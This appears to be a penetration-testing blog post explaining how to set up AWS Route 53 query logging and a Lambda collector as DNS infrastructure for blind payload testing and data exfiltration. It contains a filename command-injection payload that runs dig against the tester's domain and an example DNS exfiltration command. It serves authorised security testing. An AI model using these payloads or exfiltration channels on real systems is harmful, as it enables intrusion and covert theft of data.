Route 53 as Pentest Infrastructure

Use of DNS infrastructure is a staple of blind application testing and data exfiltration. Both of these scenarios are applicable in most pentest engagements, but building engagement specific DNS infrastructure can be a pain. Now with so many cloud providers available, can we make deployment of this infrastructure easier? Enter AWS Route 53*, Amazon's managed DNS service that allows you to quickly deploy scalable, bulletproof and not easily attributable DNS infrastructure.

Choosing a Domain Name

Depending on the engagement and usage, you should choose your domain carefully. For blind testing payloads such as XSS, SSRF, XXE or RCE situations you will likely want a really short domain name (3 characters or less). For exfiltration, you may have to deal with outbound IDS or other DNS detection so you may want to use an established domain that doesn't raise red flags (could use subdomain per engagement). Quick throw away domains can be obtained from a service such as Freenom and if you want to be really clever you can always test with emoji/punycode domains (shout out to @signalchaos) from i❤️.ws.

Route 53 Setup

If you don't have an AWS account, you can create one for free but sadly Route 53 is not part of the free tier so a hosted zone is going to cost $0.50/month. Once the account is created search for the Route 53 service and create a public hosted zone with your domain name. If you wish to use a subdomain, you can specify that instead and configure the parent domain with nameservers to delegate that subdomain. Once created select the new hosted zone and under the details pane select configure query logging.

Under zone details select "Configure Query Logging"

A guide will walk you through configuring logging by first choosing a log group. I would recommend using what is suggested "/aws/route53/<domain>". Next you will setup a policy to provide access to the log group you just created. Again I would recommend just using the suggested defaults.

Suggested configuration for resource policy

Once you finish the guide, logging should now be configured to the Cloudwatch logging group. This means all DNS queries to your hosted zone will now be logged even if the record does not exist! At this point you can point your domain or subdomain to the nameservers provided under the hosted zone details pane. Once the DNS change fully takes effect your DNS infrastructure with query logging will be setup.

Under CloudWatch you will now see logs for queries to your domain
Example of a log excerpt showing individual query details

Using DNS Infrastructure in Engagements

Now that you have your DNS infrastructure setup, you can start putting it to use. First, you can make a variety of unique blind payloads that trigger a victim or target server to perform a DNS query that will be logged. This can be an initial test before you use more advanced payloads and is useful in testing blind XSS, SSRF, XXE or RCE.

One advanced example could be RCE via file upload using the file name, this is something you may find in applications that pass an uploaded file directly into a command line utility. You can use such a vulnerability to send a file name that appends sensitive data and triggers a DNS query using curl or dig.

Filename Example: "; dig `uname`.yourdomain.com.txt

The security firm ERNW published a great example of this type of exploit in FireEye Appliances.

A second use for your DNS infrastructure is exfiltration of data. A subdomain can be used to uniquely identify a stream of data which can be appended to DNS lookups.

dig corporatesecrets.x.yourdomain.com

When you look at the logs in CloudWatch you can then search by the subdomain to identify data you just started exfiltrating. There is a lot of potential with this type of logging to automate breaking a file into a series of DNS queries and using the logs to reassemble the file.

Caveats: DNS has limitations in length and type of payload. Specifically using Route 53 the logs will convert certain characters to octal format. Keep this in mind if you are encoding or encrypting data being sent. Additionally, data being sent via this method will be exposed in cleartext and could be relayed by DNS servers that are out of your control.

Trigger Functions from DNS Queries

Beyond the basic uses already provided, you can extend the query logs using other AWS services such as Lambda. Using Lambda you can trigger code to execute whenever a new DNS query log arrives. This provides powerful options to allow you to assemble exfiltrated data, alert on successful payloads, etc.

If you are interested in getting simple Lambda functions up and running quickly, I would highly recommend the Serverless Framework. This framework takes care of a lot of the setup and allows you to directly reference CloudWatch logs as an event trigger for your code. Below is an example config file that can be used to get started:

service: exfil

provider:
  name: aws
  runtime: nodejs8.10

  stage: dev
  region: us-east-1

functions:
  dnsExfil:
    handler: functions/dns.exfil
    timeout: 150
    memorySize: 128
    reservedConcurrency: 100
    events:
      - cloudwatchLog: '/aws/route53/<domain>'

This configuration will trigger a Lambda based on events from your logging group in CloudWatch. You simply need to supply the code for processing the log information in your Lambda. You can have the same Lambda send you the data in an email or via Slack. Here is some code that can act as a starter function in NodeJS:

const AWS = require('aws-sdk');
const zlib = require('zlib');
const crypto = require('crypto');

module.exports.exfil = (event, context, callback) => {

  var zippedInput = new Buffer(event.awslogs.data, 'base64');

  zlib.gunzip(zippedInput, function(error, buffer) {
    if (error) { context.fail(error); return; }

    var awslogsData = JSON.parse(buffer.toString('utf8'));

    console.log(awslogsData)

  });
};

This function will handle getting the logs into a workable format and should allow direct parsing of the DNS query information.

*Other cloud providers do offer DNS services however logging is not always an option. Google Cloud and Azure do not appear to have a detailed query logging option.
Stratum